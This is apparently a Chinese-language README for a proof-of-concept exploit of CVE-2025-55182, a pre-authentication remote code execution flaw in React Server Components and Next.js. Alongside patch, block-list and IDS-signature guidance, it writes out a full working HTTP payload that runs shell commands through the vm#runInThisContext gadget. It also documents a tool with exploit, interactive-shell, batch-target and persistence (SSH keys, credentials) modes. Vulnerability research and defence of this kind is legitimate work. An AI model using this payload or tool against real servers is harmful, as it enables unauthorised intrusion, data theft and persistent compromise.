安全研究由 schema.cx 提供
“控制是一种幻觉。真正控制我们的是我们构建的系统——除非我们首先理解它们。”
此工具仅供授权的安全测试使用
停。在继续之前请阅读以下内容。
本仓库包含一个严重安全漏洞的概念验证代码。访问、下载或使用本仓库中的任何材料即表示您承认并同意以下条款:
本仓库的作者与贡献者:
“问题不在于我们能否利用这个漏洞。而在于我们是否应该利用它,以及出于什么目的。”
CVE-2025-55182 是一个影响 React 19.x 和 Next.js 15.x-16.x 应用中 React 服务端组件的严重预认证远程代码执行(RCE)漏洞。
此漏洞允许任何未认证的攻击者,只要能够网络访问易受攻击的应用,就可以在服务器上执行任意命令。该攻击无需凭据,无需用户交互,并且可以完全自动化。成功利用可导致:
“人们信任系统是因为他们不理解这些系统。这种信任就是漏洞。”
该漏洞存在于 React 的 Flight 协议实现中,具体位于 requireModule 函数。该函数使用方括号语法根据用户控制的输入访问模块导出,而未验证所请求的属性是否为模块的自有属性。
易受攻击的代码位置:
react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js
函数:requireModule(大约在第2546-2558行,v19.0.0)
易受攻击的模式:
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... 异步处理 ...
return moduleExports[metadata[2]]; // ← 存在漏洞:没有 hasOwnProperty 检查
}
该攻击利用 JavaScript 的原型链遍历:
$ACTION_0:0 字段包含一个 JSON,其 id(模块#导出格式)和 bound(参数)属性由攻击者控制constructor 这样的导出或访问原型属性,攻击者可以引用内置的 Node.js 模块vm.runInThisContext、child_process.execSync 或 fs.readFileSync 这样的函数使用攻击者提供的参数执行HTTP POST /formaction
↓
decodeAction(formData, serverManifest)
↓
loadServerReference(manifest, value.id, value.bound)
↓
resolveServerReference(config, id) // 解析"module#export"格式
↓
requireModule(metadata)
↓
moduleExports[metadata[2]] // 原型链访问 → RCE
POST /api/action HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"vm#runInThisContext","bound":["require('child_process').execSync('whoami').toString()"]}
------Boundary--
“每个系统都有一扇门。问题在于你是自己建造了锁,还是从某个从未预料会有访客的人那里继承来的。”
| 产品 | 易受攻击的版本 | 已修补的版本 |
|---|---|---|
| React | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1+, 19.1.2+, 19.2.1+ |
| Next.js | 15.x, 16.x(使用易受攻击的 React) | 包含已修补 React 的版本 |
vm、child_process 或 fs 等模块必须在 webpack 打包中本仓库包含一个全面的基于 Python 的安全扫描器,支持多种操作模式。
CVE-2025-55182-poc/
├── README.md # 本文件
├── scanner/
│ ├── __init__.py # Python 包初始化
│ ├── scanner.py # 主统一扫描器(6种模式)
│ ├── readme.md # 详细的扫描器文档
│ ├── requirements.txt # Python 依赖
│ └── docs/
│ ├── TECHNICAL-ANALYSIS.md # 漏洞深入分析
│ └── VULNERABLE-PACKAGES.md # 受影响包版本
安装:
cd scanner
pip install -r requirements.txt
漏洞扫描:
# 检查目标是否存在漏洞
python scanner.py scan https://target.com
小工具检测:
# 识别可用的 RCE 小工具
python scanner.py exploit https://target.com --detect-gadgets
命令执行(需授权):
# 在易受攻击的目标上执行命令
python scanner.py exploit https://target.com -c "whoami"
批量测试:
# 从文件测试多个目标
python scanner.py batch -f targets.txt -o results.json
自动扫描与验证:
# 综合扫描,带漏洞利用验证
python scanner.py auto -f targets.txt -o report.txt
易受攻击的目标:
[+] 对 CVE-2025-55182 存在漏洞!
框架:Next.js
版本:15.1.0
置信度:高
可用的 RCE 小工具:
✓ vm#runInThisContext
✓ child_process#execSync
✓ fs#readFileSync
✓ fs#writeFileSync
已修补的目标:
[-] 不存在漏洞或无法确定
检测到的框架:Next.js
版本:15.2.0(已修补)
完整文档请参阅 scanner/readme.md。
“工具的威力取决于其背后的意图。在合适的人手中,武器可以成为盾牌。”
/etc/passwd、SSH 密钥、云凭据.env 文件,窃取客户数据立即升级 React
npm update react react-dom react-server-dom-webpack
目标版本:19.0.1+、19.1.2+ 或 19.2.1+
验证补丁应用
npm ls react
确保依赖树中没有再遗留易受攻击的版本
阻止包含以下模式的请求:
# 要阻止的请求体模式
#constructor
#__proto__
#prototype
vm#runInThisContext
vm#runInNewContext
child_process#execSync
child_process#execFileSync
child_process#spawnSync
module#_load
fs#readFileSync
fs#writeFileSync
从 webpack 打包中排除危险包:
// next.config.js
module.exports = {
serverExternalPackages: [
'sharp',
'puppeteer',
'execa',
'shelljs',
'vm2'
]
}
需要监控的日志模式:
$ACTION_REF_ 或 $ACTION_ID_ 字段/api/* 端点constructor、prototype 或意外模块访问的错误消息入侵检测签名:
alert http any any -> $HOME_NET any (
msg:"CVE-2025-55182 漏洞利用尝试";
content:"$ACTION_";
content:"#constructor"; distance:0;
sid:2025551820; rev:1;
)
npm audit、Snyk 或类似工具进行扫描“打补丁不只是修复破损的东西。更是关闭那些你未曾意识到的敞开的门。”
本披露遵循 CERT/CC 漏洞披露指南 和 ISO/IEC 29147:2018 标准的协调漏洞披露流程。
此概念验证由 schema.cx 的安全研究团队开发。
仓库地址:https://github.com/ejpir/CVE-2025-55182-poc
我们要感谢:
本项目仅用于教育和授权的安全研究目的。
使用本软件即表示您同意:
“我们并不是为了破坏而入侵。我们入侵是为了理解。而理解是构建更美好事物的第一步。”
schema.cx — 为更安全的数字世界而进行安全研究
| 指标 | 评级 |
|---|
| CVSS 3.1 基础分 | 10.0 严重 |
| 攻击向量 | 网络 |
| 攻击复杂度 | 低 |
| 所需权限 | 无 |
| 用户交互 | 无 |
| 影响(机密性/完整性/可用性) | 高 / 高 / 高 |
| 小工具 | 模块 | 描述 | 影响 |
|---|
vm#runInThisContext | vm | 在当前上下文中执行 JS | 直接 RCE |
vm#runInNewContext | vm | 在沙箱中执行 JS(可逃逸) | 直接 RCE |
child_process#execSync | child_process | 执行 shell 命令 | 直接 RCE |
child_process#spawnSync | child_process | 生成进程 | 直接 RCE |
fs#readFileSync | fs | 读取任意文件 | 数据泄露 |
fs#writeFileSync | fs | 写入任意文件 | 持久化/后门 |
module#_load | module | 加载 JS 模块(两步 RCE) | 间接 RCE |
| 模块 | 在打包中的可能性 | 常见来源 |
|---|
fs | 非常高 | fs-extra, gray-matter, multer, sharp, chokidar |
child_process | 中高 | execa, shelljs, puppeteer, sharp, PDF 生成器 |
vm | 低中 | ejs, pug, 模板引擎 |
module | 非常低 | tsx, ts-node(通常仅限 CLI) |
| 模式 | 用途 |
|---|
scan | 漏洞检测和指纹识别 |
exploit | 使用特定小工具进行受控利用 |
shell | 在易受攻击目标上的交互式命令 shell |
batch | 测试多个 URL,带统计 |
auto | 自动多目标扫描,带验证 |
persist | 持久化攻击演示(SSH 密钥、凭据) |
| 日期 | 事件 |
|---|
| 发现 | 信息待定 |
| 通知厂商 | 信息待定 |
| 厂商确认 | 信息待定 |
| 补丁开发 | 信息待定 |
| 补丁发布 | React 19.0.1、19.1.2、19.2.1 |
| 公开披露 | 信息待定 |
| CVE 分配 | CVE-2025-55182 |